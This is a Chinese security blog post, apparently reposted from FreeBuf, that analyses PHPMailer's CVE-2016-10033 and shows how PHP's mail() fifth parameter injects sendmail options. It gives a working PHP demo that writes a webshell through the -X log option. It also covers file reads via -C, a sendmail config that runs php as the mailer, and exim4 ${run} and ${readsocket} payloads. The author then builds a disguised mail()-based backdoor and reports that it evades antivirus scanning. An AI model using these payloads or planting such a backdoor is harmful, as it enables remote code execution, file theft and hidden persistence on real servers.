起因

事情的起因很有趣,前几天我正对着电脑发呆的时候,突然有个安全交流群的群友来找我交流一个问题

202302141519119.png

大概的意思就是,他在挖SRC的时候,发现一处资产存在目录遍历漏洞,它通过这个漏洞,找到目标资产使用了一个名为phpmailer的中间件(应该类似于中间件吧),问我有没有办法利用,我查了一下这个组件的漏洞信息。最新的洞似乎截止到6.5.0版本以前

202302141519120.png

很不幸,群友这个版本是6.5.1,刚好就不能利用了

202302141519121.png

找不到符合版本的洞没关系,抱着学习的心态,我还是看了一下它的历史漏洞成因,不看不知道,看了之后就学到一些好玩的新知识了,这也就是为什么会有这篇文章的原因。

202302141519122.png

CVE-2016-10033的简单分析

CVE-2016-10033是Phpmailer出现过的最经典的的漏洞,在本文正式开始之前,我们先来简单分析一下这个漏洞。读者可以到:

https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php

看到phpmailer的代码。这里先开门见山地说,漏洞的成因其实就在mail()函数的第五个参数,只要控制了第五个参数,我们就能进行RCE、文件读取等操作。因此我们先追溯mail()函数:

202302141519123.png

因此我们可以先定位到mailPassthru()这一方法,可以看到,这个方法内部就使用了mail(),maill的第五个参数也就是mailPassthru()的第五个参数。

因此,我们再查看有没有别的地方使用了mailPassthru(),可以找到这个maillSend()方法中使用了mailPassthru()方法,并且第五个参数$params是来自于当前类中的Sender属性

202302141519124.png

那我们回溯Sender属性,看看有什么地方可以控制Sender属性。

202302141519125.png

这里可以看到,setFrom方法当中,就可以对Sender属性进行赋值

当然,这个漏洞还有一个重点就是对validateAddress()这一方法的绕过,这也是CVE-2016-10033的精彩部分。

202302141519126.png

但是它和本文的重点不符,所以我们就不深入分析这块。

既然知道了Sender这个关键属性是怎么赋值的,接下来我们继续分析mailSend()方法的调用链,可以找到postSend()方法

202302141519127.png

继续看postSend(),最终可以找到send()方法

202302141519129.png

自此,整个漏洞的传参流程我们就已经分析完了。大体上来说,只要我们用setFrom()方法对Sender属性赋值,再调用send()方法。那么Sender属性的值就会进入到mail()函数的第五个参数中,从而实现RCE。看到这想必很多读者已经对开篇提到的这个mail()函数的第五个参数提起兴趣了,为什么控制了它就能实现RCE呢?这就要提到php中 mail()函数的实现原理了。

有趣的mail()

mail()函数是php定义的用来发送邮件的函数,其支持的参数如下:

202302141519130.png

为什么一个发送邮件的函数能造成RCE?前人的安研经验已经告诉了我们答案。Php的mail()函数,其底层其实是调用了linux下的sendmail命令。由于sendmail支持一些有趣的参数,这就会造成更大的危害。

①日志写入导致的RCE

接着上面提到的内容来说,我们首先要介绍的是sendmaill的X和O参数,其效果分别为:

-X logfile :指定一个文件来记录邮件发送的详细日志

-O option=value :临时设置一个邮件储存的临时位置。

看到这大部分读者应该马上能反应过来,我们能指定文件来储存邮件发送的日志,那不就可以写日志getshell了吗?事实也的确如此。了解这个信息之后,我们再回过头看mail()函数支持的第五个参数:

202302141519131.png

没错,我们可以用这个第五个参数来控制sendmail的额外参数,那我们控制X的参数值不就拿下了?我们可以使用如下demo进行测试:

<?php

$to = 'La2uR1te@b.c';

$subject = '<?php system("whoami"); ?>'; //你想执行的任意php代码

$message = '<?php system("ls ./"); ?>';//同上

$headers = '';

$addtionparam = '-f La2uR1te@1 -OQueueDirectory=/tmp/
-X/var/www/html/1.php';

//假设我们已知目标站点绝对路径

mail($to, $subject, $message, $headers, $param);

?>

202302141519132.png

比如我在自己的服务器上运行如下代码,我们假设网站根目录是/root/,我们运行一下上述代码看看会发生什么。(在复现的时候确保你已经安装过sendmail,不然没用)。

运行完之后,我们在root目录下确实发现了一个名为testmail.php的文件。

202302141519133.png

我们看看它的内容是什么:

202302141519134.png

其实他的内容很多,就是日志文件。但是看箭头指的地方,毫无疑问,我们的代码已经被成功写入了。这时候如果我们再用php来执行这个testmail.php,注意看前后的区别

202302141519135.png

当前用户就是root,当前目录下只有testmail.php和test.php,毫无疑问,我们的恶意代码已经被成功执行了。

综上,如果我们知道目标网站的绝对路径、目标网站是linux环境并且php底层使用sendmail进行发送邮件(默认),那么就可以使用mail()函数来执行写入日志文件的GETSHELL。

②读取配置文件导致的任意文件读取

这个函数好玩的地方不止于此,它还可以用于任意文件读取。我们修改一下上面的demo

202302141519136.png

注意看这里,我们使用了-C参数,后面跟着我们想读取的文件。这样就能直接实现任意文件读取了!

如下图,直接读文件一把梭

202302141519137.png

③进阶技巧之利用配置文件执行代码

设想这么一个变态的情况,整个网站,假设我们只有一个可供文件写入的点,并且还有很严格的过滤。这个时候有没有能够用mail()来操作的可能呢?再说回sendmail命令的特性,默认会使用sendmail-mta来解析待发送的邮件内容,我们其实有办法覆盖sendmail的解析配置,让它用php来解析我们要发送的邮件内容,从而直接完成命令执行。

我们首先到/etc/mail/sendmail.cg,复制其内容。然后在其内容结尾加上如下配置:

Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,

R=EnvToL/HdrToL,

T=DNS/RFC822/X-Unix,

A=php -- $u $h ${client_addr}

202302141519138.png

把这个新文件命名为sendmail_cf

接着我们执行如下命令,因为这玩意不能回显,所以我们还是让它新创建几个文件:

(各位师傅恭喜发财新年快乐哈)

202302141519139.png

执行上面的代码之后。可以看到tmp目录下多出一个xnklgxfc(提前祝师傅们新年快乐恭喜发财哈)

202302141519140.png

④进阶技巧之Exim4情况下mail()函数操作

这里因为环境没配置好,所以没有演示成功,我就借助别的师傅的结果了

mail()函数的底层虽然是sendmail命令,但有时它也有可能是exim4命令。比方说在ubuntu/debain中,sendmail实际上软连接到了exim4。也就是说,我们有新姿势了(exim4的各种参数和能打出的操作都是不同的)

这里我们介绍一个,-be参数,这个参数事exim4中的运行扩展模式参数,这个参数支持我们打出大量操作,例如:

-be ${run{<command> <args>}{<string1>}{<string2>}}

//执行命令<command> <args>,成功返回string1,失败返回string2

-be ${substr{<string1>}{<string2>}{<string3>}}

//字符串的截取,在string3中从string1开始截取string2个字符

-be ${readfile{<file name>}{<eol string>}}

//读文件file name,以eol string分割

-be ${readsocket{<name>}{<request>}{<timeout>}{<eolstring>}{ <fail string>}}

//发送socket消息,消息内容为request

没错,你可以发现,这玩意除了可以进行直接的命令执行(不需要写日志文件getshell了),虽然不能回显,但是弹个shell就是简简单单。并且还是可以任意文件读取。并且最骚的是可以用substr来进行字符串截取,这样的话就支持我们进行很多绕过WAF的操作。

利用mail()来造一个简单的后门

上文提到了各种mail()的骚操作,我在学习复现的过程中除了感到NB无话可说。它的种种特性不禁让我思考,它是否有成为后门的潜质,它在正常的linux环境就可以实现日志getshell以及任意文件读取。在其它特定情况下它也可以无回显进行命令执行。并且它是一个再正常不过的函数,一般的开发和安全人员可能都不会觉得这样一个人畜无害的邮件发送函数能造成什么危害。抱着这样的心态,我先简单的实现了这么一个功能:

202302141519141.png

其中$e的明文内容为:-f La2uR1te@1 -OQueueDirectory=/tmp/-X/root/mailshell.php

而$a/$b/$c/$d的内容均为phpshell。我们拿它到实际环境去试试看能不能成功实现我们刚刚演示的效果。如果运行成功,那么应该会在root目录下生成mailshell.php

202302141519142.png

如图,mailshell.php成功生成

202302141519143.png

其内容即为php一句话

202302141519144.png

所以我们继续改造一下这个后门,让其变得更加可控。根据上面的总结我们可以知道只要控制第五个参数就行,所以我们的改造也十分简单:

202302141519145.png

这个后门最后能实现的效果包括但不限于:①linux环境下的任意文件写入(可getshell)②linux环境下的任意文件读取③特定环境(比如mail()底层使用exim4或软连接到exim4)下的无回显命令执行、代码执行

截至本文发表,这个结构极其简单的后门依然具有不错的免杀能力:

202302141519146.png

202302141519147.png

202302141519148.png

1674118324840

后记

之所以说本文是炒冷饭,是因为安全圈至少在2016年之前就已经知道mail()函数造成的危害。而更多深入利用姿势在17年和18年都有师傅总结。对于我这个萌新来说,确实是大开眼界叹为观止,果然漏洞的复现一定要及时搞,不然容易错过很多有趣的知识。

本文作者:蚁景科技, 转自FreeBuf